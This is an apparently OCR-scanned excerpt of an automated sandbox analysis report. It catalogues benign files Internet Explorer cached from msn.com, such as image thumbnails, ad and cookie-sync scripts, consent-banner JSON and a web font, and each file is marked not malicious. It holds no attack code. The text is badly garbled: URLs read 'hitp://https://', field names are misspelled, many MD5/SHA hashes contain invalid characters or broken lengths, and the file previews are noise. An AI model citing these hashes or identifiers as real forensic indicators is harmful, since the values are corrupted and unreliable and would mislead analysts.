hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZ1el.img?h=368&w=622&m=6&0=60&u=t&0=t&I=f&f=jpg&x=541&y=375
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Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

7284

7.853431320862787

false
96:BGs6Ez6yx5pN22u20BWSxuvoclGFCOdTaFDKgyCATfoKuSGFLIcHYzBGDF8Uk/:BYYyVNZdRIGS8KDjytTLW2YzBKF8d
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false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZ69Y.img?h=333&w=311&m=6&0=60&u=t&0=t&I=f&f=jpg&x=456 &y=196
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
downloaded

9868

7.9449487263175635

false

192:BCFMFluwBeVKDxFOVsddbX21DgzflIXoMIEBR766U2dyGGJ67y:kFM7wrl2d5gz6 GBXHX7y
506F5E22750839B57712A4D3D6EA4FAT

BDE9FDDD253791507BDEBOED5564015074ACD66A
5D0E2D7981FD16A65AA0D90C9158CD9AB778D199A45DA23DCDA8B946A2838BD19

4C91CFA25349DF3DE176A2E7C087248B8EF175CA1D88032FF4A7F68FC07828591E6FB27F8FC02F623AAA55CC46CE1B4CE9DB20D47547F8861CAB4ACB8ADIADE
0

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZ6aY.img?h=250&w=206&m=6&0=60&u=t&0=t&|=f&f=jpg&x=488&y=1069
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 100x75, frames 3

Category: downloaded

Size (bytes): 2232

Entropy (8bit): 7.796383596294564

Encrypted: false

SSDEEP: 48:BGpuERAg05zZdy2sdeKOn1LwHQoQOTkz0YKBLI9Pa:BGAES5zZId+xwHpQckz0YKK

MDS5: F429EEA70235FE299FD61F4153E0A902

SHA1L: 2A39CE15E01ABB4DCCD6DF8DEA618DA52A338A63

SHA-256: D21EBOBC642F74CC8A27F4BD18122D698EOAF809F1A4BAB5A9D10B2825013003

SHA-512: 6244F6B21E9CFOEFF20E5B212EFA4FBOAD7C568D5587EC256FCE07FBOD4AFEDD6C3DD5DE29FCF161A585B3EDF3966544E37E91CF2D372E8D0OB7F0374E329EB|
7E

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZ7u2.img?h=75&w=100&m=6&q=60&u=t&o=t&I=f&f=jpg&x=544&y=259
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 100x75, frames 3
Category: downloaded

Size (bytes): 2519

Entropy (8bit): 7.797185581201624

Encrypted: false

SSDEEP: 48:BGpUERAMQzT/P9qT3ZhwO7IRu3ZHOj8pApDUSOKYY2t20szNQilh:BGAE30H4T3UOU68qpDUSOKYHtw5QL

MDS5: 701472605AD992A57BB61801B4F23AF0

SHA1L: 0755C3E0FD01A08D5D4C6B89D795FA26E2F2DE23

SHA-256: 1D09B600DB6811F00610DA752553E1A3AAD1IA6E4FF0320638F46D41265FCD2C9

SHA-512: 792218037A9C80065732C3E1106CABC262327CB8D8C35D619A0F3B0984733B8219523DF3E522F8112912AD6B38A023B7418B081705BA78AF1F3ESE42337943A1
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZh66.img?h=75&w=100&m=6&q=60&u=t&o=t&I=f&f=jpg&x=476&y=154
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BB1cZICU[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3

Category: downloaded

Size (bytes): 7723

Entropy (8bit): 7.800750263055433

Encrypted: false

SSDEEP: 192:BYauzxM0OZgQ77uY907dsoDgjzK/BAldpdrC:e/zxMOZdOSO7dsoAIXJC

MDS5: 2DBE88211B6FD60C6D5C92B1C3744053

SHA1L: FB5A26B9BA5A8057841A163D525BC437C88F3BD5

SHA-256: 531BFCECD45E0COFA5430A71884D8020AFFF2A2D388C67608FF895B97D7A1ECB

SHA-512: 75835F22817A34D6AD04E9A23B5CA2D7FID321A78213426AC8A2D53D1B77EDB8BCD2B6DDD834A199CB2CFADD453982AC0AFF791C45870668937DB161FD74Al
CD

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZICU.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg
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QE..QE..QI@..QL..(...!.z2u?JZ....B..N....0.%A]....K..8Z....MMvvm....le.\...0.7..}.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\9026IKNJ\BB1cZwé6c[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 300x250, frames 3

Category: downloaded

Size (bytes): 11578

Entropy (8bit): 7.939145426153418

Encrypted: false

SSDEEP: 192:Bb54XMHggdDemqgJ50u6F//KYjM5puH5Mukh11STNSGNnI+18v4/N32WCQWeb:Z5WEHIHOU6F/RXH55811STNSGnsB4Hbb

MDS5: 4919D766A74862D3E95616007E49B3A1

SHA1L: 3F7CA98BF7967ACEOE131564COEDBD151E231971

SHA-256: B92AB930FDF33D6CAEC4084A164A76BE7799DCABB813EC977F3A2E061C58CECD

SHA-512: 34A23BAEF27F76C7FDA5C53467F40D588ECFF8DFD7A97DC142CA7ACCB60708186A14EE6CAE9244EC6A4662EAT61EF1CAF979E58158DB24EB65CE3639B34A0!
1E

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZw6c.img?h=250&w=300&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:
...... JFIF...cpeeeCriiie e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000........ e § 11A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz

....... 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs

tuvwxyz. ?....R\Lhtwvii.aXvj+.8..s14.$....ABw7... .KQ.;.}8.E....[.'9..1c..D....J\..8n....(..p.@ {.&"...8.....gF.;.X.

.6....1.U{.s..(*$..QQ.VvB.../N....... }i.R*..."KCe...jX.e<..v(.4]."...*L.d...A......s...q..2.g*n.n..RV&.4RQ@X\.f.Jc..Rf.,..) (.a.i....f..IV.AE....Q@....P...@:.JZB..L.@X.zs(.Uj.x>p}..t.b.

..... l.p[ .P.Ua...<.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\9026IKNJ\BBPfCZL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 50 x 50

Category: downloaded

Size (bytes): 2313

Entropy (8bit): 7.594679301225926

Encrypted: false

SSDEEP: 48:5Zvh217t5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333g+PagKk7X3Zgal9kMpRd
MDS5: 59DAB7927838DE6A39856EED1495701B

SHA1L: AB0734C857BFF8FF159C1879A041C6EA2329A1FA

SHA-256: 544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57

SHA-512: 7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB8¢
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m=6&q=60&u=t&o=t&I=f&f=png

Preview:

GIF89a2.2....7.,;..7..C..I.H..<..9...8.F.7.E.@..C..@..6..9..8.J..72.G..>..?..A.6..>..8.....A.=.B.4.B..D.=.K.=.@.<..3~B.D...,|4.2.6...0.;.G..FL..1}4.R....
Y.E.>.9.5.X.A.2.P.J..9.. . TH+Z...+.<Fq.Gn.V..;. 7.Lr.W..C.<.Fp]....A....0{L.E.H.@....3.3.0.M.K...#[.3i.D.>........ l...<n..;..Z.1..G..8..E...Hu..1.>..

T..a.Fs..C..8..0}....; XElzM~ [ 8. @B, .s..)a.Cm...'a.0Z..7...3f.<.e....@.q....Ds..B....IP
NeJin Li. FoBoihe W ".[g...J.Ms..K.Ft .Ry.Nv.n..]..BI . L0y )V..g.5.........NETSCAPE2.0.....!..d
.3...9.(].d.C .wH.(."D...(D.....d.Y......<.(PP.F...dL.@.&.28..$1S... *TP.....>.. L.IT.XL(.@a..IsgM..|..Jc(Q.*....... 2.)y2.J.....\W,.ew2.!..1..C.....d..zeh...P.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\9026IKNJ\BBX2afX[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 688

Entropy (8bit):  7.578207563914851

Encrypted: false

SSDEEP: 12:6v/74//aalCzkSOmMs9aEx1Jt+9YKLg+b30121P7qO1uCqbyldNEIA67:BPObXRc6AjOI121Pf1dNCg

MD5: 09A4FCF1442AD182D5E707FEBC1AG65F

SHA1L: 34491D02888B36F88365639EE0458EDBOA4AEC3AC

SHA-256: BE265513903C278F9C6E1EBIE4158FA7837A2ABAC6A7SECBE9D16F918C12B536

SHA-512: 2A8FA8652CB92BBA624478662BC7462D4AEA8500FA36FESE77CBD50AC6BDOF635AA68988C0OEG646FEDC39428C19715DCD254E241EB18A184679C3A152030FDOFE
8

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m=6&q=60&u=t&o=t&I=f&f=png
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\9026IKNJ\BBX2afX[1].png

Preview:

PNG........ IHDR...coovrviin U...sRGB......... gAMA.....a....pHYs.......... 0.d...EIDATHK.Mh.A......4....b.Z0oz...2." .. AL X o (RA(QPAKT . LYW3. . M...2./...7 . Jo...
~Uu'..K_..YM...5wlb....y.V.|.-e.i..D..[V.J..C.....R.QH........ .U... ] $]LE3.}......r ). MS..S.#.11..Y 0. 8." Q > 2S.{(7....;

[.Z+3UL# G+3.=V."D7...1/K.._.LxY....E.$.{ s].D...& ve.2}[
b..&.5.Z...r.Q.zM<...+.X3..Tgf._...+SS...u........ */......END.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\BBnYSFZ[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

560

7.425950711006173

false
12:6v/78/+m8H/Ji+Vncvt7xBkVqzZ5F8FFl4hzuegQZ+26gkalFUx:6H/XVA7BkQZL8OhzueD+ikalY
CA188779452FF7790C6D312829EEE284
076DF7DE6D49A434BBCB5D88B88468255A739F53
D30AB7B54AA074DESE221FE11531FD7528D9EEEAA870A3551F36CB652821292F
2CA81A25769BFB642A0BFAB8F473C034BFD122C4A44E5452D79ECIDCIE483869256500E266CE26302810690374BF36E838511C38F5A36A2BF71ACF5445AA2436
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnY SFZ.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

IHDR...coovrviin a...sRGB......... gAMA.....a....pHYs.......... 0.d....IDAT80.S.KbQ..zf.j...2@........... N z..EA3P....AH...Y..3......|6.6}....{.n. ..b.......... ".h4b.z.&.p8".
..D...i$.)..pLA.dB.T...#f3..8.N.b1.Bl.\..n..a..a.Z......0%.x<....|.b.h4. 0.EQP.. v.q....f.9.H8..\... [N&...X,2...<.B.V[.(.NS6..|>..n4...2.57 *......f.Q&a-..v..z.{P.V...
S WA 5.W.t.i....g...\t..8.w.........0....%~...F.F.0".'rx...b..vp...b..Pa.W.r.aK..9&...>.5

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\90261KNJ\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20647

5.29809706323854

false

384:P9AGM6EEIzD7XzeMk/Ig2f5vzBgF30Z00QWwY4RXrqt: REIDNci2RMF30soQWwY4RXrqt
F469156B30F21DBBE8753F150558C99B
399066F1A989B29D1089995284F0F137E2AFFD7B
9236F0A1E3955530ACDAB03B7D05323A1F6FCI0C97845C435F64F0903D681D4B
97387740076877139B7D4E9CF163F38012712968259F2E20ABD7190B1F1883F99DCDBBC402FCFIAB46C49655EDBBBOFBFAA52097F57774A2A2D6BB077698FDA1

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":73,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal
~""vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn", cook|e" "data-
"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g cocs™:0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:V\Vcslogger.

V" "isBI":1,"g"

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\9026IKNJ\fcmain[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines, with no line terminators

downloaded

37144

5.097667293407909

false
768:/1av44u3hPPgW94hYetSZ8sPYXfOwOBEZn3SQN3GFI2950kly43/ilyPs5:NQ44uRWWmhY+SCsPYXfOwOBEZn3SQN3k
FO4BAAFECCED8459C695C2540B963313

FOD8EO9EE0779036F9D5425E162DEBI6AT4BEF1L
C8828BC63153607CDB41A8D4950CBF6EOD4BOBBE6A2B6CAI03098CCEISFEB323

DA106F99A18DFBD78451968FA3322C78CABCA9ACO27F588EE47514E6F17AEA403C852BA8C5BECBICE25C6281B604D35D3FEDGED9338A0C55649D6ADD06463E:!
78

false

hitp://https://contextual. media.net/803288796/fcmain.js?
&gdpr=0&cid=8CU157172&cpcd=pC3IHgSCqY8UHihgrvGroA%3D%3D&crid=8584122148&size=306x271&cc=CH&https=1&vif=2&requrl=https%3A%2F%2Fwww.msn.co
m%2Fde-ch%2F%3Focid%3Diehp&nse=5&vi=1611307346816346390&ugd=4&rtbs=1&nb=1&ch=window._mNDetails.initAd

;window._mNDetails.initAd({"vi":"1611307346816346390","s":{"_mNL2":{"size":"306x271","viComp":"1611305595417578754","hide AdUnitABP":true,"abpl
""3" "custHt": " "setL3100":"1"},"lhp":{"I2wsip":"2886931942","I2ac" " mNe":{"pid":"8PO8WH20T","requrl":"https://www.msn.com/de-ch/?ocid=iehp#mnetcrid=8584
122144#"}," md"[],"ac":{"content":"<!DOCTYPE HTML PUBLIC \"-\/WW3C\WW/DTD HTML 4.01 TransitionalV\VEN\" \"http:\/\/www.w3.org\/TRVhtml4Vloose.dtd\">\r\n<html
xmins=\"http:\V\V\www.w3.0rg\/1999VxhtmI\">\r\n<head><meta http-equiv=\"x-dns-prefetch-control\" content=\"on\"><style type=\"text\/css\">body{background-color: transpa
rent;}<\/style><meta name=\"tids\" content=\"a='"800072941' b="803767816' c="msn.com’ d="entity type'\" \/><script type=\"textVjavascript\">try{window.locHash = (parent._
mNDetails && parent._mNDetails.getLocHash && parent._mNDetails.getLocHash(\"858412214\" \"1611307346816346390\")) || (parent._mNDetails[\"locHash\"] &&
parent._mNDetails|\"locHash\
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\90261KNJ\http___cdn.taboola.com_libtrc_static_thumbnails_2b016d601242a511f3242b0d
41867296[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: downloaded

Size (bytes): 11334

Entropy (8bit): 7.944008421903137

Encrypted: false

SSDEEP: 192:R77L+S92IDxF/8/ZMgHiIKkOWOgoaAKsJEIc/1oblnY2L18mHcqFO/:R7IhFFESJffalkElc/SbinY2L18SNY

MDS5: EC7C7D8D9343599F00675611FF1016BC

SHA1L: AFC368B6286EC07997560ED0028F37C6D7ADB5EA

SHA-256: E47A32315EAF311A394CED8B8B3E2C5AE2BDDF48DE9BF48475AF7C7D5BE7DOFE

SHA-512: 977B0497DF97F18FA3761F315A92801E862191CFA7BF2DF629CEESEC612AA813B3AF73F50F0B2DFBA21EF23439BD8B8C3E15B752F3FB69D676810DE9B6ED432
Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F2b016d601242a511f3242b0d41867296.png

Preview:

&"&0-0>>T......7 6.
RPN LA 3l~nIN2)d. cu|Q A+C. U#Q NSISQ .E.Z6Q..N.A..3....C.)"-.
PRV N s O sYo 44 .Z.L...3s8."..0.1\.[].Z.5.96...mp_|.EOK..i*".Cp..- e e.q. Uit \L{....4.S. . .NKk.K

U +w"Y..zO._l.\.+._1J...6..
LTI m\.S.\W24..6..... mn,A.JQ{.... S.W.&s..a.t.[...>.U.y..Fcr.f...e.K.....}.e.h.(S..<..R.8..OL....h ...... HU........" [.3$ WLy Y. G [Timor....H
K.7..L.AH..AQ....x5DL....x.FR..=.Y#5q...r.}z..u.. \X.R...H....~..JTtwr3#...|...._(..ARK....M-vm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\90261KNJ\http___cdn.taboola.com_libtrc_static_thumbnails_b735c05319719836ca882359
e4b7c3bal1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3

Category: downloaded

Size (bytes): 6812

Entropy (8bit): 7.915235832193386

Encrypted: false

SSDEEP: 192:Sg/d97pChtfébaMt2UF0j2rGzd45kINIQojc:SgVI7sXmt0j2iZkQw

MDS5: 3C1ED1D8219AF62F28C38BFED63C5EB4

SHA1L: B2827EBE6B551957335EFF94783CBF659EFCAEEL

SHA-256: AD2B6DE133156564700A99D82F56D2009334DBA9A4B5FCB482C33DF462EB245B

SHA-512: 68F45D4FEF839F91CCO4EBCB3E5S3E1708BC1597DD1D89ECBBC12CB3B4FAA2FA34A6D342FFAE8621005082682AE62F6A181AAABF7B32C4E77574826B5B926EC
25

Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2Fb735c05319719836ca882359e4b7c3ba.jpg

Preview:

...... JFIF ey o T&S&IFTLLITFQD@DQDXXDIV].ocvvvciciieeicnye o T&S&IFTLLTFQD@DQDXXDIV| e 7o e
w<W'Uo...}?.1mP..a".....bx.....K.R,)..~+Fu.OK..<..;.S....g.."$"\syx.h\....19.0..f.R-.M\h."/.4l.g-a..{- WgC.0.9.¢{........ +ja...fl.J..H.z3#C. .k....=\[..[N...
ceen[3.1%.9..G11}.250.9.,Wn .} L M3 {2t rDl.....4d . +..9Q.:2U.R)[S... X...BU k...i.+fPc1Vh...8q.Wr.,...w.....T...S....7..h(8Y"./.31.>18,.\N.C.|.Md...as[/jt. .
....... |L..%|.m\.F.f... .t.F.9.S...].0>;....2.. X.X....HA. [Ub...W.1J.B.|..h(*"G.O..q..$A......I}#2.1....{6..}SF....M.&b..- L. IN./.M........;... K X...fEQ[....%.F. #..uJw..fDD.=.Z.O;
.Eq..x.n...ufte#.2..c.N.R${|jl..N..Y.J. wm....#....J.L.xG.%....(.r54.%".qWLyuL.\.;.1?:.....J...v.V..V4Ir[.j.5Q.8...U..;..DV.c

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\90261KNJ\otFlat[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: downloaded

Size (bytes): 12588

Entropy (8bit): 5.376121346695897

Encrypted: false

SSDEEP: 192:RtmLMzybpgtNs5YdGgDaRBYw6Q3gRUJ+g5iwJILd+IJmMgEb5SmfPPenUpoQuQJ/Qq:Rgl14jbK3e85csXf+oHBIAHYP1IMJIAk
MDS5: AF6480CC2AD894E536028F3FDB3633D7

SHA1L: EA42290413E2E9E0B2647284C4BC03742C9F9048

SHA-256: CA4F7CEOB724E12425B84184E4F5B554F10F642EE7C4BE4D58468D8DED312183

SHA-512: A970B401FE569BF10288E1BCDAA1AF163E827258EDOD7C60E25E2D095C6A5363ECAE37505316CF22716D02C180CB13995FA808000A5BD462252F872197F4CE9E
Malicious: false

|IE Cache URL: hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/otFlat.json

Preview:

{. "name": "otFlat",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtYmFubmVyLXNkaylgY2xhc3M9Im90ORmxhdCI+PGRpdiBjbGFzcz0ib3Qtc2R
rLWvanRhaWSIcn+PGdelBJbGcmzOlethZRrLXJvdyI+PGde|BpZDO|b25IdHJ1c3QtZSJvdXAtY29udGprmVyI|B]bGcmzOlethZRrLWVpZZhOIGQOLXNka
y1jb2x1bW5z1j48ZGI2IGNsYXNzPSJiYW5uzZXJfbG9nbyl+PC9kaXY+PGRpdiBpZD0ib25/dHJ1c3QtcG9saWN51j48aDMgaWQ9Im9uZXRydXNOLXBvbGljeS10aXRsZSI
+VGhpcyBzaXRIIHVzZXMgY29va2llczwvaDM+PCEtLSBNb2JpbGUgQ2xvc2UgQnV0dG9ul COtPjxkaXYgaWQ9Im9uZXRydXNOLWNsh3NILWJO0biljb250YWIuZXItbW9ia
WxliBjbGFzcz0ib3QtaGlkZS1sYXJInZSI+PGJ1dHRVbiBjbGFzcz0ib25ldHI1c3QtY 2xve2UtY nRuLWhhbmRsZXIgb25ldHJ1c3QtY 2xve2UtY nRuLXVplGJhbm5icil
jbG9zZS1idXR0b24gh3QthW9iaWxIIGIOLWNsbh3NILWIjb24ilGFyaWEtbGFiZWw9lkNsb3NIIEJhbm5IcilgdGFiaw5kZ Xg9ljAiPjwvY nVOdGOuPjwvZGI2PjwhLS0gT
W9iaWXxIIENsb3NIIEJ1dHRVbiBFTKQtLT48cCBpZD0ib251dHJ1c3QtcG9saWN5LXRIeHQIiPIdIIHVzZ SBjb29rawVzIHRVIGItcHIvdmUgeW91ciBleHBlcmllbmNILCB
ObyByZW1IbWJlIciBsb2ctaW4gZGVOYWIscywgcHIvdmlkZSBzZWN1cmUghG9
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\9026IKNJ\otPcCenter[1].json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

46394

5.58113620851811

false
384:0j+X+jzgBCL2RAAaRKXWSUB8zVrX0eQna4lwFpWgeObRApQZInjatWLGuD3eWrwAs:4zgEFAIXWeNelpW4lzZInuWjlHoQthl
145CAF593D1A355E3ECD5450B51B1527

18F98698FC79BA278C4853D0DF2AEEB0F61E15A2
0914915E9870A4ED422DB68057A450DF6923A0FA824B1BE11ACA75C99C2DA9C2
D02D8D4F9C894ADABBAOB476D223653F69273B6A8B0476980CD567B7D7C217495401326B14FCBE632DA67C0CB897C158AFCB7125179728A6B679B5F81CADEB!
false

hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/v2/otPcCenter.json

{. "name": "otPcCenter", "html": "PGRpdiBpZD0ib25IdHJ1c3QtcGMtc2RrliBjbGFzcz0ib3RQYONIbnRIciBvdC1loaWRIIGI90LWZhZGUta
W4|IGFyaWEthQkYWWQInRydWUlIHvaGU9ImeYvaZngYXJpYSleWJIbeIZGJSPSJdeleleaXRsZSI+PCEtLSBDbGQzZSBCdXR0b24gLSO+PGde
iBjbGFzcz0ib3QtcGMtaGVhZGVylj48IS0tIExvZ28gVGFnICOtPjxkaXYgY 2xhc3M9Im9OLXBjLWxvZ28ilHIvbGU9ImItZylgY XJIpY S1sYWJIbD0iQ29tcGFueSBMb2d
VIj48L2Rpdj48YnV0OdGOuIGIKPSJjhG9zZS1wYylidG4AtaGFuZGxicilgY 2xhc3MIIM9OLWNsh3NILWIjb24ilGFyaWEthGFiZWw9lkNsb3NIIj48L2J1dHRvVbj48L2Rpdj48ISOtIEN
sh3NIIEJ1dHRVDIAtLT48ZGI2IGIKPSIvdC1wYy1jh250ZW50I1iBjbGFzcz0ib3QtcGMtc2Nyb2xsY mFylj48aDMgaWQ9Im90LXBjLXRpdGxI1j5Zb3VyIFByaXZhY3k8L
2gzPjxkaXYgawQ9Im90LXBjLWRIc2MiPjwvZGI2PjxidXR0Ob24gaWQ9ImFjY2VwdC1yZWNvbW1lIbmRIZC1idG4taGFuZGxIcil+QWxsh3cgY WxsPC9idXR0b24+PHNIY3R
pb24gY2xhc3M9Im90LXNkaylyb3cgb3QtY2FOLWdycCl+PGgzIGIkPSJIvdC1jYXRIZ29ye S10aXRsZSI+TWFuYWdIIENvb2tpZSBQcmVmZXJlbmNIczwvaDM+PGRpdiBjb
GFzcz0ib3QtcGxpLWhkcil+PHNwYW4gY 2xhc3M9IIm90LWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\4996b9[1].woff

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Web Open Font Format, TrueType, length 45633, version 1.0

downloaded

45633

6.523183274214988

false
768:GiE2wcDeO5t68PKACTgVEWZfaDDXLQO+nSECIr1X/7BXq/SHOCI7dA7Q/BOWKAfO:82/DeO5M8PKASCZSvxQO0+TCPXtUSHF7¢
A92232F513DC07C229DDFA3DE4979FBA

EB6E465AE947709D5215269076F99766B53AE3D1
FA477B53BF5E6E10FA78C41DEAF32FA4D78A657D7B2EFE85B35C06886C7191BB9
32A33CCID6F2F1C962174F6CC636053A4BFA29A287AF72B2E2825D8FA6336850C902AB3F4C07FB4BF0158353EBBD36C0D367A5E35809840D70B90B93DB2AE32
false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff

sAdd.. dedZdbd4d decd]ddedbdfd .dAd.(db.d db.db.d..d.d_d._.d..d.dP.d0.db.db.d.P.d.u.d.c.d"d. dqd .d.d.d.b.d._d._.d.
b.d.a.d.b.d.a,d.b.d...d...d.’\.d.’\.d. .d.[.d...d...d.$.d.p.d...d...d.’\.d._.d.T.d...d.b.d.b.d.b.d.l.d.d.d...d...d...d.7.d.".d.X.d.].d.).d.I.d.I.d.b.d.b.d.,.d.,.d.b.d.b.d...d...d...d.7.d.b.d.1.
d.b.d.bd..d..d.d..d.dAd.d.d(d. d.d.d"drdfd.,.db.d.db.d_.d.q.d..d.dbdb.db.db.d.drdld._db.db.db.dV.d.zdb.d

